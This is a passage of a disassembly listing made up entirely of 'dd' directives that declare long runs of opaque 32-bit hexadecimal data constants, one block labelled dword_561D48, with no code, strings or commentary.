		dd 91B18F77h, 25CE8867h, 0FFA705F7h, 0A228ABD4h, 0A2913C3h
		dd 0E94180F4h, 537AFA46h, 0BA45AB7h, 3709201Ch,	10D1482h
		dd 0E7686481h, 3313E41h, 0BE0044D6h, 0C03D03CEh, 1C680B64h
		dd 59A65C01h, 0BEE87A5Ch, 3B8E2BADh, 3AAC0509h,	2EF9825Fh
		dd 28DB361h, 330F6838h,	0E6D26EEAh, 0D9BD83ACh,	9EF569E1h
		dd 0FBE6A099h, 0EAD8E650h, 325EB5C5h, 68320152h, 7DC2795Eh
		dd 0E9707F74h, 0EB7060A7h, 0BC4FA8EBh, 7F0C0F60h, 9D610557h
		dd 340809A8h, 0FD14110Ch, 0EEB5E982h, 2A956668h, 13416D3Dh
		dd 59D23F19h, 514F6259h, 0F1D0BD74h, 58021370h,	1327095Eh
		dd 2D2D59FAh, 0DF67BA76h, 683DECDAh, 60B8CA8Eh,	0F9E656CFh
		dd 80241FDCh, 690501h, 925E2A44h, 14CAF260h, 7BC4E1E9h
		dd 6293CD3Dh, 3772A868h, 0A4811443h, 0B83AF349h, 8098168Fh
		dd 0F80C39BBh, 4282C1E5h, 0BD307733h, 0DC9758C3h, 0EC757248h
		dd 0CE8D20BDh, 0D9E4AF90h, 6223409Dh, 56B1013Eh, 0AEE9C889h
		dd 17D12F55h, 293ECA2Ch, 0EAE83BC5h, 0F517BCD6h, 68A0DDA8h
		dd 1EBF55D5h, 0FBD4D2CFh, 4A6E4498h, 0F2FF928Fh, 0BA09FE85h
		dd 84412631h, 50C9103Dh, 6D172DF8h, 0E00257BCh,	5E0B2EA6h
		dd 5092EEAh, 37102D68h,	5C7C82DDh, 0E9144D9Ch, 73478E7h
		dd 0F127C612h, 5DF502B2h, 5852DA18h, 3FE31C6h, 955156A8h
		dd 23162F52h, 0A16DE820h, 946C4282h, 58CDF9C4h,	7079688Ch
		dd 8BDC9F22h, 90717F72h, 34A4FDC9h, 0BA51D3A3h,	0E9E038FAh
		dd 5D03CFC6h, 0E6C10E1Dh, 11120202h, 29BF0646h,	9586825Dh
		dd 0E8E455E1h, 5F685703h, 0A52DA769h, 0F4DFA4AFh, 0DA769517h
		dd 0F4810784h, 0FF05CAB0h, 80035C8Bh, 0CE287BC6h, 0E9A9EEABh
		dd 0BE9C51BBh, 77FDC04Ch, 0B10AC09Dh, 0A19C5B08h, 0FC097F2Ah
		dd 4466845h, 0B4DA27E9h, 0F045BFFCh, 0A94B8DB8h, 0FE66C90Ah
		dd 6D55272Ch, 25DD2716h, 0D58451EAh, 751731B6h,	0DB784317h
		dd 1BFE0B07h, 79AA5E4Eh, 0C3F97F86h, 2F64E2Fh, 0D6A3F3C2h
		dd 0FD54C548h, 0E26882A6h, 3257AB7Fh, 0C6D680ABh, 9FEC87E9h
		dd 0BE278AF2h, 0CB6ADE88h, 0F1801960h, 68661907h, 4F4C4BCAh
		dd 20331FB3h, 0E95B13D9h, 0FE7206Bh, 59CA30D8h,	6F2EC206h
		dd 2C5DBE0Fh, 25CB1EF7h, 258A960Fh, 4AF15AD6h, 0A538E961h
		dd 8A38E222h, 0C3BACB3Ah, 92ED79FDh, 6A942FC7h,	7E2592DBh
		dd 3F4114Ah, 5541C0CAh,	0B4F2B048h, 581B09ACh, 0B175D729h
		dd 66C8C741h, 0F50B485Ah, 563D9204h, 7594EF50h,	83A0081Fh
		dd 5D7FE014h, 0C0F9DE4h, 6E0418A0h, 0B82CE910h,	876AC984h
		dd 2D00FE10h, 7E8B56D6h, 5690D801h, 5DE90880h, 7CD7D75Eh
		dd 0DA1D64AFh, 173C5CC7h, 24F0BDC3h, 0E0ABEF50h, 6895691Fh
		dd 4B31EE01h, 0BE2525B6h, 0AF055A80h, 5B42DF1Eh, 21691FBEh
		dd 30A868B0h, 0FB298204h, 3F4BE777h, 0E85C8313h, 0EAE2E7BFh
		dd 0CECEAEA4h, 7AA13BEh, 72BC72Dh, 2D2A3F9h, 48ED3D03h
		dd 0B07AD023h, 5FA3E0C5h, 581ECD3h, 35824792h, 0D117C7E8h
		dd 2DCC8D5Eh, 171258AEh, 0A4E930ADh, 54666B01h,	194C0138h
		dd 1590C03h, 12760413h,	615D6069h, 50937ED7h, 22E812C1h
		dd 0A33B00B9h, 0E925C311h, 5E315F59h, 4E15ADE0h, 0A1EBE8CBh
		dd 936841Ah, 0FE57D481h, 0F3D06035h, 0D7098D03h, 0C8DBF75Bh
		dd 951747E9h, 61C69018h, 240F554Ch, 0F1E045D1h,	1797334Ah
		dd 60CE6835h, 31C5BE8Eh, 4E500C16h, 808B5503h, 1FEFDC8Fh
		dd 0BCF152E2h, 8298B567h, 39F400BDh, 0CD8107A4h, 9B2C444Fh
		dd 71E29D78h, 90DD0B22h, 9FCA8FB1h, 0BD70AE7Ch,	0C7660418h
		dd 0EFCC44E9h, 387E1C8Eh, 0EB5B757Fh, 8EBB1A75h, 0DBFE504Bh
		dd 0C0EDCD4Ah, 0EC9BEAD7h, 0E07F8241h, 3DD0E8F7h, 41404DEh
		dd 82C03BF5h, 486EE1F2h, 0B5019A5Fh, 118351Bh, 828A0C6h
		dd 0D7E9BFC5h, 5005CAE8h, 29558468h, 5DE82F3Ah,	90F1E115h
		dd 2CDED02h, 0EE400370h, 1504425Eh, 5BDD2947h, 30AECDAEh
		dd 3840B516h, 0C1DE0DF7h, 0F10A02EEh, 21A2CCFh,	0DA12A2B9h
		dd 41B6E856h, 0DF3E1053h, 301F1029h, 63C45427h,	3BFD3C20h
		dd 5195DBF6h, 0AF27BFB1h, 5AB091F5h, 0BCBC2C6Bh, 1251AC40h
		dd 0A080FAB5h, 314470D1h, 0E2B25B60h, 18259F1Bh, 4EF16828h
		dd 9F1F3110h, 4B7897E6h, 6D81DFECh, 9021AC0Ah, 44260612h
		dd 0EF66167Ah, 0E2859909h, 3E65FB58h, 0AB61219h, 4A742D5Ah
		dd 6601A5FCh, 2CB0B753h, 51F8C0C8h, 0E8385CB8h,	70AB5A39h
		dd 0BA09EC68h, 2420FBB0h, 1837A00Ah, 0C8FD829Ch, 82C916EDh
		dd 24FD8EC0h, 635A4724h, 0B249A91Bh, 128E5C78h,	69C4ED05h
		dd 25CE740Ah, 2608DDD4h, 4B1128DDh, 0EC331F69h,	0B3B021Bh
		dd 7BEB1DAFh, 74E3F4F9h, 55B5BE5h, 0A78EF31h, 76D273Eh
		dd 52AE30D0h, 0F0E03DB6h, 0A696D39Dh, 2764127Eh, 0EC8E640Dh
		dd 145D2915h, 54C5A22Fh, 95B0597h, 69F768A1h, 0A547719Ah
		dd 2CC802CEh, 712FF58Fh, 0E9043B28h, 0A9F4E6h, 80060634h
		dd 4928CEC5h, 4E668AD4h, 0FEF02EAh, 9FC07611h, 47166CC5h
		dd 62011273h, 2E3F0A44h, 29C40E6Eh, 0BA11072h, 2E170C68h
		dd 9AE06B86h, 87FA8C19h, 32E0CF4Eh, 0C787BD36h,	0C2FF62ACh
		dd 508770F9h, 9F5A47B0h, 1EEB2012h, 0DC05BAC3h,	5B0941E9h
		dd 0DA205F82h, 0C231544Dh, 6E1945DAh, 0F29762A3h, 0BBE2106Ch
		dd 68902D02h, 0C2DD7BDAh, 7E070951h, 10D2C20Fh,	7F932C02h
		dd 5166F180h, 4E496068h, 39588402h, 0C84EEFE3h,	5A4A545Fh
		dd 0E90B70CAh, 2556210Bh
		dd 0B0E4B62h, 1F172950h, 6202F488h, 0D9415368h,	80268083h
		dd 0E3C0ACCBh, 0C4A5819Fh, 0F36F65E9h, 4A54881h, 16CA4C61h
		dd 80FD95FAh, 0D50510E9h, 206D3D4Ch, 87089D35h,	0B9312D8h
		dd 0C0DD55B9h, 5D770EBEh, 804B6D5h, 0B30A1421h,	3E90E3Eh
		dd 43EC1272h, 89D5EFB2h, 7475DE0Ah, 1BA5E913h, 7CB16F47h
		dd 0FFEF6D81h, 313DFA2Fh, 925CB23Bh, 35DE0A0Ch,	345D0BC1h
		dd 0F2C06736h, 2D6D330Fh, 8041CEEh, 9148A10h, 49BD63E9h
		dd 3071E6C0h, 6853FF10h, 212912C1h, 7800AA43h, 695607B0h
		dd 0BC0524E9h, 282DBB4Eh, 0F975AC09h, 3187EEBEh, 8C226D0h
		dd 8E19E912h, 0BA934AB9h, 38EA8B64h, 0EC4BE9FFh, 56A0E8ECh
		dd 1E13CA68h, 0D1160EB7h, 439F5CA4h, 27D24832h,	2FF7FB28h
		dd 0AB02D57Ch, 401E8720h, 1D2D0318h, 6DD0E411h,	0B0B3467Ch
		dd 9F5DECA4h, 3B5AA7FDh, 5BCD8939h, 3BCE29BFh, 0A0FCE4C5h
		dd 7A3A24Fh, 6CA82B2Eh,	74D05F79h, 0A8EEAB22h, 2D447898h
		dd 0CC7649A8h, 68C58C18h, 0B9454F2Ah, 240B939Eh, 885879D0h
		dd 0D42C3E7Bh, 18201102h, 888F670h, 0FA2D9A19h,	27E59561h
		dd 0A8C77727h, 1B51B0AEh, 0B47301FDh, 934B7E03h, 7F2406Bh
		dd 0D71509D5h, 5CE02E65h, 966D0C68h, 8881C995h,	60A72B15h
		dd 0E413E3C1h, 2BF0A85Ch, 1A691027h, 1D24C4Bh, 74458ED0h
		dd 2C7FDF01h, 12FB3D2Bh, 795F853h, 63511CBEh, 26B93014h
		dd 2F5BADAAh, 843189C2h, 6FA155BDh, 0D46DFD2Bh,	5ECE38B7h
		dd 21793CFAh, 40D66082h, 0CEBE80C5h, 6E9B1616h,	3CD714BEh
		dd 9E44C205h, 23B4BE52h, 9253FE9h, 9BC4B0CCh, 0EBC103FAh
		dd 0D0075803h, 0BBCA3E13h, 6515A498h, 0ABD7A931h, 0BFD5DAF5h
		dd 0CCC1179Dh, 538D6B8h, 52FA2E0Ch, 97587E9Bh, 3137CC40h
		dd 129562Fh, 0E43BE9D0h, 0A3A8676Fh, 0A2040B61h, 0C4FED4F6h
		dd 0E7F840BFh, 0CDE9E130h, 1ACD5B5Ah, 0D2989941h, 2BEE32Ah
		dd 0A72AD9BAh, 73C07D60h, 14602D19h, 0C777AD0Ch, 0A0E2D306h
		dd 0D795338Dh, 77380216h, 75BF4EF0h, 6B9DF1F3h,	8076B9F7h
		dd 6B316859h, 0DA4ECB02h, 15A653Bh, 93217051h, 0EE027020h
		dd 5A8C0D12h, 0B34C49AEh, 317611F8h, 5C00DEBAh,	0A50539D3h
		dd 0FE6B4621h, 4DD0A0C8h, 96CD9178h, 44305287h,	0FA097544h
		dd 0B7602039h, 528E88D0h, 0FDCAA9C9h, 60F6200Bh, 0B1E57DD2h
		dd 0D408E904h, 7EA9CDAEh, 42BAB6D0h, 17880E29h,	7B05F281h
		dd 3AFF4066h, 0E9474354h, 23F88F25h, 0EC10844Ah, 0E9D975C3h
		dd 0B72BE42Ah, 0B6B90061h, 6834C262h, 155A4D59h, 3CAF2D89h
		dd 0F553D897h, 24754A09h, 97FFF43Ch, 57DF4262h,	0EC765F59h
		dd 2627BB08h, 86EA003Eh, 153A81Fh, 0FD544EDh, 0FA205D08h
		dd 0E95A0288h, 0A2C38735h, 7ECCA282h, 2EC0250Bh, 0EABE665Bh
		dd 0C8E90302h, 2A9E6C5Eh, 985DADF8h, 0A3D397D6h, 6F4F7408h
		dd 9C7FA500h, 0E9125F7Dh, 9EA9F9DDh, 5370605Eh,	4C092051h
		dd 71715468h, 0B9068953h, 0C0A75E53h, 8115B002h, 9216415Ch
		dd 0DDBF0026h, 0D220F92Ch, 355F5FFEh, 7CAB0191h, 4027CF33h
		dd 6E254A8Fh, 56E92017h, 5D578F80h, 64214B5Fh, 0F0B878Ch
		dd 64EF2D46h, 2B65E5Fh,	62D7CA10h, 0A35510Ch, 687A071Dh
		dd 0A1809B5Eh, 1C3B1275h, 0E2F1A0BDh, 74991B4Ah, 0FB2CC05Ch
		dd 0E9508912h, 4FD23C7Fh, 0B55A7D3h, 517368C7h,	0A23D56CDh
		dd 0F2F104BAh, 0A261A438h, 67881E27h, 8EEE5897h, 55E25F45h
		dd 0AA0AF6C5h, 0F0ECDF31h, 0F27F7734h, 7C9490B1h, 0D4B42DDFh
		dd 0FAE936D4h, 2874B8Ah, 3B56689Eh, 1F9037E6h, 470A9900h
		dd 4FF6BA13h, 87725035h, 246A0AEAh, 7D36FB7h, 9FDA798Eh
		dd 9A7A1DB8h, 0D75A1127h, 0E9D3BDE0h, 3A728425h, 0C142D52Ah
		dd 0A72BE577h, 0F7741AD5h, 7F250B4Dh, 0CB32A390h, 0CD801AC7h
		dd 0F6ED605Eh, 3A53C5FEh, 21DC3EB3h, 807EBB26h,	257EBD55h
		dd 74BF3467h, 0CCF21A98h, 0C9940B08h, 0FD4C8602h, 4B5AA083h
		dd 2D1FB27Ah, 0AA4C4EE4h, 0B0CFCFFBh, 0BA00F396h, 4812168Bh
		dd 1CE00949h, 68D14131h, 80DC80F3h, 7B30E6F3h, 0EF39B0DEh
		dd 12C33D30h, 4BC8D8E9h, 3D5C31A0h, 0DE8B575Ah,	9426B47Bh
		dd 0B2640510h, 4EADACE7h, 3AB9E3FCh, 0D2A171FAh, 0E7A22A58h
		dd 20E975D8h, 85FAF3B2h, 6FB56604h, 0CB955058h,	14127DCFh
		dd 0D8032C2Eh, 0C2FE537Eh, 0CF0CD291h, 12C739F8h, 0EF3C8702h
		dd 0F5258AF7h, 0C382C0DEh, 8EC710D8h, 0D7EFC091h, 0B89E78Ch
		dd 0B50E9DDh, 50D2B114h, 2A5B99EEh, 54A2EBA8h, 0DC12AE58h
		dd 0A6C38762h, 0F20D4ED8h, 92AFD2B6h, 0CCFCAE34h, 17F050Eh
		dd 4868082Fh, 0D9FCF325h, 0B083AB2Dh, 9C7C5536h, 5879108Bh
		dd 0C5221036h, 520A6A58h, 8EFB450h, 5D12FB97h, 98683D80h
		dd 96BF5Fh, 1A145D9Dh, 99A9E978h, 6A556156h, 2DAFD584h
		dd 478C14Bh, 4C71BCBAh,	246E07A1h, 0C9F201C8h, 0ECE5F609h
		dd 0EE5B8EB4h, 0EE972DF8h, 6D3C8D2Dh, 5DEF29C2h, 8490F95Dh
		dd 0E9F646E9h, 579204B8h, 0BEC07776h, 602647C3h, 33450C28h
		dd 0E9272CBCh, 80EB8117h, 7A2042C3h, 5F36645Bh,	75A0FBD0h
		dd 0BFEB0181h, 0E92B2612h, 5EF77990h, 4ED89BE0h, 551CC80Fh
		dd 43A6D0Eh, 0AA81D201h, 0FD40C823h, 0F57FBEE9h, 448C32Ah
		dd 50AA30CFh, 909E2A49h, 17DD2108h, 4988AB5Ch, 59F540EEh
		dd 0CE4E03ECh, 0BAE2A627h, 0BDD7FBD7h, 0A5D67FA5h, 0EAFC046Fh
		dd 58C69491h, 0B5F3BC7Eh, 50E99F6h, 2DE9024Fh, 774AE0Eh
		dd 0A0383751h, 7E82817h, 0B288B123h, 20FBF85h, 560E0C68h
		dd 2239629Ch, 5F5E5023h, 0C0656761h, 0C12023B0h, 7F805826h
		dd 9BD6C32Dh, 106226F8h, 4BBF1FC1h, 85A3C418h, 0CDC1F209h
		dd 0D3416A0Fh, 351FBE27h, 20E0B740h, 447A1E05h,	4EE984AEh
		dd 276A9FBh, 410975E6h,	21825721h, 0C579CBA9h, 6705288h
		dd 0BB4BEC68h, 4A32F620h, 3380FC88h, 0F2F8E333h, 907E4EFh
		dd 952C28EDh, 0CEB12402h, 0EFEA0829h, 0D6B25532h, 14F72D7Fh
		dd 25E212A7h, 21E0B1FEh, 47B22A52h, 87BCAD24h, 5F61E8BEh
		dd 0F50DB1D3h, 0EE1D7E94h, 3801DAD2h, 136C710Fh, 3BCE1070h
		dd 0E4E4CA64h, 169BE785h, 3440ECE5h, 59B92FD2h,	0FB9A8329h
		dd 6FE8B440h, 60461926h, 8C81901Dh, 653BE90Ah, 8571F7C2h
		dd 17FE5192h, 1B9EBE4Eh, 52AFE917h, 7149EC14h, 5826695h
		dd 8468555Ah, 5F37FE0Ch, 833A9190h, 7DE9271Bh, 0EF04D2FAh
		dd 3775CF0Ah, 0BBC1D5EFh, 0BF0266F3h, 7FF25AC2h, 2707457h
		dd 9C3ECE7Ch, 80E29DEh,	0F2AE1325h, 82ECD635h, 7FE95CE2h
		dd 0DF1BD854h, 3A03BB91h, 27196C3Eh, 0F2D1849Eh, 88665119h
		dd 297DB802h, 636A5F7Eh, 0FEC1CE90h, 0C993F795h, 80EF6EC9h
		dd 0B798B65Fh, 24F730F9h, 905B55Ah, 371040A3h, 0CA4AC5BCh
		dd 4968FCE4h, 0E93F2EB7h, 0A7254326h, 577AEF50h, 1323CE27h
		dd 0F266EAD7h, 0BB8B64A5h, 4A86AD56h, 0B6BED994h, 0E40650E9h
		dd 74281102h, 0D7D03CE9h, 0C42D77B0h, 76987C1Fh, 0ED85D4D2h
		dd 81C9C0BEh, 5E2C1FF6h, 0B83C2A16h, 7EBF8678h,	2C56D6F7h
		dd 27283682h, 5383B17Eh, 0B741511Eh, 5493F390h,	0C0214B44h
		dd 0E685641h, 28F01A04h, 71C3465Eh, 0FCAF8479h,	5DFCE5A1h
		dd 0AACDEFA5h, 0DD9ECF42h, 804B0C94h, 0E7D3EDE9h, 685A0B14h
		dd 0E9F93025h, 880BBFA2h, 9C7E45DFh, 65CD66BCh,	4093095Fh
		dd 230A32C8h, 53326226h
dword_561D48	dd 478C4101h, 0BC788979h, 6F164558h, 9089DDDCh,	0BA034EBEh
		dd 37A3488Ah, 0E4DFE2CAh, 0F73102A6h, 0D689CE68h, 485FEF42h
		dd 31231483h, 0E91273ECh, 0A5057A64h, 0D707EDC1h, 0CE628DC5h
		dd 465C7D1Bh, 2475C409h, 0B2E6D59Ah, 0BACE7916h, 0CA21D062h
		dd 0E2FF039h, 40A8F9C6h, 0F2F50947h, 33C87ADEh,	79257C58h
		dd 10D7327Bh, 5A01E9B8h, 86D6B210h, 1E0A3C2Bh, 1650C831h
		dd 73C95434h, 27981E1Ch, 0A780C555h, 805ACEFCh,	2147E3Eh
		dd 0BB8BA025h, 372D4C58h, 0EE15D71h, 0F2E7815Fh, 9B77EC48h
		dd 6565989Ch, 0EF4E22BCh, 0FF5E7B2Ah, 0CFEEF913h, 55680B11h
		dd 5C327536h, 7EB30780h, 465A5A8Ah, 0E9C279ECh,	85D659DCh
		dd 2E20338Ah, 9C2E53D1h, 3C256824h, 0C4AEF464h,	95E8BBE7h
		dd 775668F0h, 0F725EEB3h, 7FA50567h, 5F976CCCh,	8B64E514h
		dd 6D82550Eh, 7203DC59h, 7EB01778h, 26132F5Ah, 41002D99h
		dd 0B53FE2Dh, 0F00158ADh, 450E309h, 14C61EBDh, 0A4F0685Ch
		dd 24D8588Bh, 69C776B5h, 0CA74797Dh, 0AF410C34h, 0FD0FCE19h
		dd 7F2F0879h, 0F37B712h, 0E58093Bh, 9B3AFDC7h, 0CA24315Dh
		dd 0E2535DD8h, 9BAA942h, 4989A00h, 2963FC47h, 351153D6h
		dd 452597B3h, 0E8B81E94h, 9770E4B7h, 5E876647h,	0C70CFE41h
		dd 0EC52899Dh, 0DFE29D06h, 0EF5FB925h, 0A9ACBC17h, 23596201h
		dd 0C264C5E9h, 4F515955h, 85B548C6h, 471CEF09h,	5B2BFD68h
		dd 0BD654CD7h, 0A972165Eh, 81CD7593h, 0B2FF25B4h, 0BA12141Eh
		dd 0B5421662h, 0F58006B2h, 0C9416C91h, 4B7C051Bh, 1DC8A860h
		dd 9F5458FAh, 9C072D28h, 34DE0FE5h, 0E94F42FFh,	0EE5FF70Bh
		dd 535E37h, 201DBB32h, 94A11FBh, 466A66h, 61B332A3h, 4979E781h
		dd 48604E2Eh, 2AAE4714h, 0DBB0B102h, 7626F90Bh,	17AFFC37h
		dd 6D7C05E1h, 7518375h,	0E8E0D1DAh, 983B34B0h, 3C007C1Fh
		dd 31EB6749h, 54D5E9CFh, 9BE5218h, 0D527573h, 0E4398622h
		dd 626FBA00h, 41764AB4h, 1834C417h, 1A2C701Fh, 953D9DA5h
		dd 0C80BA6B1h, 4AEEA75Dh, 2C603FFAh, 2005C531h,	29773B32h
		dd 840575Ch, 5B0EF8E9h,	19FD3801h, 4A697544h, 0C083AC47h
		dd 0F7EF8034h, 0E4B53B51h, 0E97DED05h, 226B9B6h, 484123C3h
		dd 38F8752Ch, 43D7EB00h, 0AEE97B31h, 0C39BDEBFh, 35CAD908h
		dd 0E63F3E2Dh, 0BF0A27C4h, 7E8D5198h, 22ADA691h, 0E158E2A6h
		dd 1042D92h, 0DB17A6A4h, 86C43057h, 400E7C97h, 9679D7BDh
		dd 9FFA7B4Eh, 0D7E90946h, 0EAFD20F2h, 18CD4951h, 64FA0146h
		dd 0B80637B2h, 0BA22E911h, 0F86A0B7h, 236815C8h, 8784A44Ch
		dd 0E7A3BAB8h, 3019E217h, 4469E94Dh, 1CC010D3h,	0D03404F8h
		dd 0A98B860Ch, 12684440h, 77F27D5Bh, 5511BFD6h,	0B2E90C69h
		dd 1BD34CCh, 283375A8h,	2045DDF7h, 31176608h, 2821F6A1h
		dd 500D21Ch, 0A43D59BBh, 27E2C87Bh, 510CE02Fh, 18AE0368h
		dd 49594267h, 73E21AE9h, 0FDBF00C9h, 0BE049741h, 0E9B71270h
		dd 3DA64E11h, 15166FAFh, 5D480E0Fh, 60693F0Ch, 7F160B0Ch
		dd 0B1AC320Eh, 0D1B58670h, 5AD18B14h, 0AB25E536h, 857EC505h
		dd 0FC2D5368h, 661BE118h, 0BABD5500h, 168B2214h, 0ED830A90h
		dd 0FE16FF01h, 9F7BB1DDh, 36680A0Bh, 0D5AF3851h, 0ACC8EE29h
		dd 0F42DE953h, 0DF0D22B3h, 4C4380AEh, 271B004h,	6D1CE581h
		dd 0D0E13BD2h, 0F29C5003h, 0B82764D8h, 0D00E0940h, 90F77608h
		dd 0BB54974h, 5030A482h, 56180D5h, 0A0136D03h, 274409B7h
		dd 0C55027C1h, 0D42EE725h, 31BC6213h, 1A90DD0Bh, 0E4974CE6h
		dd 1098222Dh, 52516CA0h, 5304F990h, 76B52CB7h, 1CB87EC4h
		dd 0A0F4D85Bh, 98870340h, 6B582290h, 2B51FDFDh,	5925D08Ah
		dd 0F80823FBh, 0AE5B13A8h, 0C17EC5B5h, 20873B7Dh, 0C64F362Fh
		dd 8C2FFBEDh, 0CD972FF0h, 0A5116CBh, 213D71Bh, 4BB34435h
		dd 831AD8F5h, 0C80C0608h, 282F7467h, 980E4E3Fh,	97B65602h
		dd 5FD10573h, 6352BFE9h, 56EF88BFh, 9F09406Ch, 68222A41h
		dd 16BCC6BDh, 0BEAFAE70h, 0FF200839h, 82F0969Dh, 1521342Eh
		dd 10D60442h, 88894E1Dh, 0E699C42Fh, 3C7E97FAh,	0CFC6D64Bh
		dd 6475BEE9h, 49BDDF9Bh, 5DF03Ch, 0F33E638Fh, 79350565h
		dd 0EC080972h, 3A1850DCh, 4C0A701Dh, 0B1C0A44Ah, 8413BDA0h
		dd 0A0AAE860h, 0FB24103h, 0D90C9798h, 3E663640h, 0D57F1343h
		dd 6F89AF3Eh, 2B65A17Eh, 4012B0A8h, 6FD0C2Dh, 0F1419DD8h
		dd 531BC8E3h, 0B8585B3Fh, 1A5604A2h, 0C9AB0262h, 52A35FAh
		dd 0BBCDC10Ch, 41A06F37h, 7E5A41A6h, 6DE330C4h,	0A4DDED4Ah
		dd 0D01728B3h, 0C0DAA35Ah, 68F9F75Ch, 4865596Eh, 92800496h
		dd 2BA817B5h, 314F9A20h, 46DEE50Fh, 1C140D71h, 66586852h
		dd 0C1DC04Eh, 0C2FA2565h, 0E6CC205Bh, 98131354h, 0A29CB464h
		dd 6FCC6297h, 0A7028D60h, 68736012h, 0AE6BC626h, 0A4BA1C0h
		dd 0D0E91333h, 50ED3F5h, 4A74CDC2h, 3834D527h, 48F01F2Ch
		dd 26C25FA5h, 413FD177h, 30F15323h, 9467C874h, 0E01EF17h
		dd 0F06F168Ah, 0D94BF33Bh, 0BF538F8Ch, 0A9DBFCDCh, 0AC528B03h
		dd 0A8C8D7C3h, 5881B4D6h, 0F3563FADh, 8DFE3E34h, 0B5A33FA9h
		dd 43EA68C5h, 92ECE9B9h, 564E0A13h, 0D3EE1859h,	157814A7h
		dd 0CD5BDA7Eh, 0EAF02E0h, 29359F17h, 8091CDAh, 0F44C8504h
		dd 30254DD3h, 0AFB0743Dh, 39B521C0h, 1446AD30h,	67A8E906h
		dd 11BF30DEh, 0E8F8241Ah, 0D19DB738h, 206C282Bh, 42509883h
		dd 30966C8h, 4864AAh, 8D3E8B7Fh, 0E9460B2Bh, 18F5F9A5h
		dd 0B068B9D2h, 25477EDEh, 0C07C404Ah, 0FE7C054Fh, 34D551Dh
		dd 0A7456A37h, 0E2B76522h, 0EDFB77ECh, 858728B1h, 23D8F7Eh
		dd 0F0A05C8h, 24D87740h, 0B6B5A302h, 63C50992h,	0A58E9831h
		dd 5D12F88h, 0C09F9BD2h, 97C6598Ah, 0A043B677h,	836B5072h
		dd 3FD4C3E2h, 82554702h, 45ED03Ch, 0B34A2CCFh, 90F0A170h
		dd 5D27DD58h, 6891C857h, 6349A9h, 9FF60F2Ah, 84B33E31h
		dd 6EBC18Fh, 5A823DC0h,	0C4026047h, 39BC406Ch, 9288D59Dh
		dd 9FF02708h, 24559A09h, 0E2FE8015h, 7768DB3Ch,	89BBC3E9h
		dd 8AC250E6h, 0EF81C15Eh, 254FCCCh, 87B9C57Fh, 2CD489FFh
		dd 64B98EAh, 63B27D2h, 9A7BC1EDh, 0C5518B40h, 378D0008h
		dd 0AF98E95Eh, 3D9B3571h, 5026AE00h, 26E94307h,	6B8E8D75h
		dd 0E31B50F1h, 0E250AB44h, 45B4225h, 47A026A7h,	8AF59731h
		dd 30625B9Ah, 2D6052D5h, 9EDED6C7h, 12B2936Eh, 1CB2F81Ah
		dd 7BEA98F7h, 0B39CB7C9h, 0AA325D7Fh, 77F8C1F6h, 285FCA41h
		dd 2DF27380h, 94475A95h, 0F7A2881Dh, 0BC38100h,	0B869012Ch
		dd 6289977Fh, 5DB2099Eh, 0DD149F4Ah, 0ADA767A9h, 2DD31B3h
		dd 45BFEB3Bh, 0F0F75EA0h, 79F3049Fh, 0D14FA997h, 10BA4F9h
		dd 9182FA88h, 75EC685Bh, 6CC931FCh, 0D3C142CCh,	5A9A999Ch
		dd 0C618317Ch, 1CCC2FF7h, 800A450Fh, 0C844024Ah, 0A32D582Ch
		dd 5E910B06h, 0B779D168h, 0E95A5486h, 0AAE6D7D0h, 4E222888h
		dd 90E18CB2h, 98523640h, 9D8E70C2h, 136E9E7Dh, 260205E9h
		dd 48F4E1DDh, 0DC1B7250h, 0E6544B28h, 826A70BFh, 36F95508h
		dd 65AD534Ch, 0FBE5132Eh, 0F70BE7C4h, 0B90610EAh, 4C103917h
		dd 0C9BD550Ch, 0F095A982h, 7665905Ch, 208526BAh, 472704DEh
		dd 2528F8C4h, 0F069E4E6h, 686F40E8h, 0BCB92A5Fh, 18F43284h
		dd 3028E8BEh, 99760419h, 2050C906h, 669D3499h, 38D2BDD3h
		dd 0D24BC3FAh
		dd 4DF89AB4h, 0E51730CEh, 0C743BA07h, 0A5DD5B85h, 70CF06EFh
		dd 0C04E87BEh, 5469CDA9h, 0F74B6665h, 0DC55EF32h, 6FEF7967h
		dd 0F369B898h, 6AE73BEh, 0C798C949h, 94979C2Dh,	48CF7D02h
		dd 0C7800807h, 388D69BAh, 0C5096F98h, 0D7679437h, 9C271CD8h
		dd 88DE2014h, 9E04347Fh, 12E620B3h, 0AF35F819h,	1F879EA4h
		dd 0C06D5456h, 0E44F89F1h, 0CF24316Fh, 802A159h, 62267A3Fh
		dd 539E8BCh, 2B7913A1h,	2D120A61h, 2DED2007h, 0D5ECD08h
		dd 894F9548h, 71E855B8h, 68125351h, 0B7304813h,	0F5E910B5h
		dd 8F52C953h, 1DD21175h, 8B6CE020h, 495EB975h, 0B475B05Fh
		dd 657F823Eh, 6D93BF93h, 2D3849B0h, 7DADDBD4h, 93B31E16h
		dd 36464D03h, 0BBE3A92Bh, 6A40BE02h, 0F5FE18F2h, 0F2A65F4Eh
		dd 18AFE9C3h, 16F72302h, 7773BC15h, 277FF09h, 79F8216Dh
		dd 0EE320863h, 0C114F569h, 5150DEA0h, 740194BDh, 0E2F49F3Eh
		dd 0E44F1248h, 14D3E892h, 6842B9F0h, 0DC2CCD3Bh, 0C393047Ch
		dd 0E6804A0Bh, 0C09C4B04h, 3868ACB8h, 0C1700A5Bh, 0BDB815E9h
		dd 0F168BE90h, 24EF7753h, 8D802754h, 0E912E37Dh, 0CDFF4E16h
		dd 0C4B97872h, 0CAFEEB95h, 1BDF1573h, 95FA4BD1h, 0A00CAF85h
		dd 4E872523h, 0D0DF04DFh, 0E7560FE7h, 7509C233h, 88A5EFE5h
		dd 0E904A999h, 0AB175301h, 0BC2E488Bh, 2067AFDFh, 0DBE77727h
		dd 7B21A722h, 10F6A745h, 82C38009h, 7526F354h, 0E93585B4h
		dd 1884F747h, 5B812E87h, 0AEF4286Bh, 7CEAAAD4h,	0C44413AEh
		dd 0B7DFAB0Ah, 0E7CDDF38h, 0E9E9C95Fh, 2EE275AEh, 0E7014FA0h
		dd 92551EECh, 0C43AC15Eh, 647B4B50h, 2D19EC7Fh,	0CC1D1813h
		dd 0BD2E49E8h, 4180511Ah, 7450086Ch, 5255E93Ah,	405C25C9h
		dd 0FA6EB5C7h, 301B4A1Dh, 6A186D72h, 420396C4h,	5692CCh
		dd 4C5D7768h, 0D6F75E07h, 0E29AE925h, 5430776Fh, 0E3CCB2A6h
		dd 3E8655h, 0BD192965h,	645A72C6h, 0F7B9CDEEh, 814BF408h
		dd 3B5B7DC5h, 8812A8Dh,	0F62A75FAh, 4CE983D7h, 0A7FA855Dh
